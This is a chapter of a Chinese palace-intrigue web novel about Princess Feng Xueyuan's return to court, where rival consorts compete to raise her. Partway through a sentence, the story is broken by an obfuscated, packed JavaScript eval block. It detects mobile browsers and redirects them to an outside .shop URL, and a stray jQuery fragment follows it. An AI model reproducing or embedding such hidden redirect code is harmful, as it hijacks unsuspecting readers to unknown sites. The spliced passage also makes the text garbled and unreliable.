窗外嘈杂的声音渐渐大了起来,风雪鸢便知她们已经进了泰康城。再往南走了大约半个时辰,越靠近宫门,反倒是越安静了。
风雪鸢不敢擅自探头出去乱看,只用手指轻轻拨开一角帘子,她日夜期盼所回到的皇宫近在眼前。雕梁画栋,琼林玉树,任凭风雪鸢回宫前如何想象,也想不出这世上最富丽堂皇之地究竟是什么样。
马车缓缓而停,风雪鸢踩着两名小内侍的后背下了车,跟着黄公公进了万圣宫。
“别乱看,多行礼。”这是柴婆对风雪鸢最后的叮嘱。
万圣殿前的阶梯一层接着一层,风雪鸢低着头,只觉这路如同天梯,怎么也攀登不到尽头。
“雪鸢公主到!”
随着一声嘹亮清丽的声音从前方响起,风雪鸢终于站到了万圣殿门前。殿门缓缓打开,顺帝与贺皇后正襟危坐,两旁各宫娘娘妃子和各位宗亲依次坐在席上。
风雪鸢抬脚迈进万圣殿的门槛,这一步,她走了十九年。
“儿臣风雪鸢参见父皇,母后,父皇万福,母后金安。”在座几十双眼睛紧紧盯着这位养在宫外的公主,风雪鸢依着规矩不敢有丝毫的放松。
顺帝微微抬手,“平身吧,鸢儿。”随后顺帝抬高了声音,对着下面满座宫嫔宗亲说:“十九年前,朝阳宫不慎被孔明灯点燃,叶妃在火中诞下公主后不幸离世,鸢儿为母祈福,特在皇陵洒扫供奉十九年,如今南风国泰民安风调雨顺,朕特迎鸢儿回宫,以续天伦之乐。”
两旁众人纷纷起身恭贺道:“恭贺陛下父女团圆。恭迎雪鸢公主回宫。”
贺皇后皮笑肉不笑,挤了些眼泪,向风雪鸢招手道:“鸢儿,快过来,让母后好好看看你。”贺皇后眼里满是慈爱,让风雪鸢感到十分不自在。
但她还是恭敬地走向前,在贺皇后身边又行了一次礼:“儿臣见过母后,请母后再受儿臣大礼。”
贺皇后起身扶起风雪鸢,连连说道:“好,好,真是好孩子。当年本宫身子一直不好,多亏了你母妃,本宫才怀上了霁儿。本宫自知对不住你母妃,现在只求能补偿你一二。陛下,”贺皇后拉着风雪鸢的手,转头向顺帝请求,“陛下,不如……就让臣妾亲自抚养鸢儿吧。霁儿住在臣妾的长和宫,若是臣妾能抚养鸢儿,那她们姐妹俩也好作伴啊。”
风雪鸢一愣,手从贺皇后的手里抽了回来。她刚才还想着今日回宫,贺皇后会是副什么面孔,会给她挖什么坑,原来在这里等着呢。若自己真的住进长和宫,只怕以后叫天天不应,叫地地不灵了。
顺帝也没想到贺皇后会提出亲自抚养风雪鸢,正犹豫时,一个娇弱的声音缓缓传来:“陛下,皇后娘娘已经有了霁儿,臣妾一直盼着再怀一位公主,可奈何身体不济,无福再为陛下开枝散叶。今日一见鸢儿公主,便十分喜爱,不知皇后娘娘能否割爱,将鸢儿交由臣妾抚养呢?”
风雪鸢顺着声音往座下看去,说话之人坐在众妃首位,不用猜也知这是太子生母,木贵妃。
木家是书香名门,木贵妃衣着简单质朴,却腹有诗书气自华,让人一见便知是个恬淡文静的才女。
木贵妃生下太子风景行后身体一直不好,平日里虽不怎么承宠侍寝,与贺皇后井水不犯河水,但到底母凭子贵,她一开口,场面一时间僵持住了。
贺皇后和木贵妃同时争着要抚养风雪鸢,这是在座的所有人都没有料想到的。
林安长公主眉头一皱,心里盘算起贺皇后和木贵妃两人的心思,打圆场道:“皇后娘娘,贵妃娘娘,鸢儿这才刚回宫,这规矩什么的都还不知道呢,不如让她先适应一段时间,看看跟哪个娘娘投缘。免得一身的乡野气息,冲撞了二位娘娘。”林安长公主说的话虽不好听,但却是帮风雪鸢解眼下之困的。
“诶,林安”,”顺帝示意非礼勿言,但也正好顺着林安长公主的台阶下来,一时间让他在贺皇后和木贵妃之间抉择,他也为难得很,“鸢儿这才刚入宫,朕已命人将起阳宫打扫了出来给鸢儿居住,皇后和贵妃以后有的是时间跟鸢儿慢慢相处。”
贺皇后见状,连忙开口道:“是臣妾唐突了。只是看着鸢儿长的实在是像她母妃,臣妾想起了当年和叶妃的情谊,一时情难自抑……”
“是啊,南星当年在宫中不仅给各宫娘娘妃子调理千金之科,更是广施善缘,给宫女仆妇看诊开方,宫里没有一人说她的不是,可惜啊…”顺帝说着,眼眶不禁红了一圈。
风雪鸢看着满宫感伤的宫人说:“父皇,各位娘娘,儿臣也略通医术,想着虽然无法与母妃相提并论,但儿臣愿意给父皇、各位娘娘分忧解难。”
“好,果真是本宫的好孩子,”贺皇后感动地无以复加,“你就安心在起阳宫住着,若是缺什么了尽管跟本宫说。”
林安长公主继续将白脸唱到底:“皇后娘娘仁慈,只是这宫里不比民间,医局药局各司其职,还轮不到妃子和公主来宫里开医馆。”林安长公主白了一眼风雪鸢,言语里尽是不屑。
贺皇后收回脸上的笑容,沉下脸来:“林安,你跟叶妃的恩怨不要牵连到鸢儿身上。”贺皇后表面上维护着风雪鸢,实则是在挑拨林安和风雪鸢的关系。
“我与叶妃之仇,本就涉及儿女。”林安长公主冷冷地说道,让风雪鸢不自觉立起了汗毛。
顺帝见状,岔开话题:“好了好了,鸢儿舟车劳顿了一天,赶紧落座用膳吧。”
顺帝安排风雪鸢坐在风雪霁身边,乐呵呵地看着自己的两个公主。
风雪鸢给风雪霁微微行了一礼,风雪霁只礼貌地点了点头,并未正眼瞧风雪鸢。
风雪鸢落座后,送膳的宫人们排着队端着食盘送来了一碟碟精致的小菜,风雪鸢看得眼花缭乱,不知该从哪一道吃起。正当她偷看风雪霁如何用膳时,给她布菜的宫人“哐啷”一声,将手中端的菜摔了个粉碎。
“叶妃娘娘,你…你回来了…”
那布菜的宫女见着风雪鸢,竟以为是叶妃娘娘还了魂,连忙跪在地上,不停地磕起头来。
顺帝等人皆被这宫女的行为吓得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314736|142952||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
目瞪口呆,唯有林安长公主冷静地喊道:“来人,还不快拖下去!”
侍卫匆匆进来,将那宫女抬了出去,留下惊魂未定的风雪鸢在桌案后面捂着胸口。
风雪鸢刚入宫,便经历了这几番风波,不禁对宫中的暗流涌动又多了一两分的了解。她定了定神,才发现宫人已收拾好了残渣,给她换上了新的菜肴。
许是自己跟母妃长得太像了,所以刚才那宫女才认错了自己。风雪鸢见顺帝和贺皇后也没有对此事多加议论,肚子又实在饿得狠,便暂且将此事压在了心底。
风雪鸢正埋头吃得起劲,忽的一粒红枣不偏不倚地被掷到了自己的茶盏里,溅了她一脸水。
她抬起头来寻找,只见大家都在推杯换盏,不知何人有此闲心捉弄她。再往远处寻去,在林安长公主身后,曲萧和正看着她。
曲萧和朝门外看了看,示意风雪鸢出去,率先起身离开了万圣殿。
过了一会,风雪鸢借口更衣,也离开了大殿。
第一次进宫的风雪鸢不知该往何处去寻曲萧和,便在廊庭下坐了下来。她知道,曲萧和会来寻她的。
看着万圣宫精心修剪过的花花草草,风雪鸢感觉四周像是有个隐形地牢笼一般,你若在这牢笼里,那自是堆金叠玉,可你若是稍稍触碰这牢笼一下,便会惹得一身祸事。此时此刻,她有些想念柴婆和林伯了。
“鸢儿。”
曲萧和的声音从身后传来,风雪鸢起身守着规矩福了福:“见过曲公子。”
“鸢儿,你还好吗?”
风雪鸢不知从宴席上这样出来与曲萧和私下见面是否妥当,心里惴惴不安,“我没事,以后得惊吓只会多,不会少。”
“对了,我喊你出来,是想告诉你,若是皇后娘娘和贵妃娘娘再为你的事争来争去,你若能全都推脱了最好,若实在躲不过去,就选木贵妃。”
“为何?”
曲萧和说:“刚才舅母说的,贺皇后一心想把你也记在她名下,你成了名义上的嫡公主,若以后战事未捷,大齐求娶嫡公主,她便可以名正言顺地将你推出去。木贵妃是太子之母,即便避宠,跟皇后娘娘也是一辈子的仇敌,也只有她能跟皇后娘娘分庭抗礼。”
风雪鸢懵懵懂懂地点了点头,在这个宫里,人人为刀俎,又人人为鱼肉,就像是一个圈,永远也绕不出去。
“时间不早了,快回去吧。对了,就算你选择了木贵妃,但也不要完全相信依赖她。在这个宫里,除了你自己,谁也不要相信。”曲萧和叮嘱道。
风雪鸢眼里难掩对宫廷里尔虞我诈的失望与厌恶,看着曲萧和问道:“那我能相信你吗?萧和哥哥。”
曲萧和听风雪鸢没有叫自己曲公子,莞尔一笑:“当然可以。你若愿意,我永远是你最忠诚的护卫。”
风雪鸢脸上挤出一个苦笑,与曲萧和一前一后回到了席上。
没人过问她的去向,让她松了一口气。可她却没发现,刚刚的一切,皆落在了风雪霁的贴身宫女芷影眼里。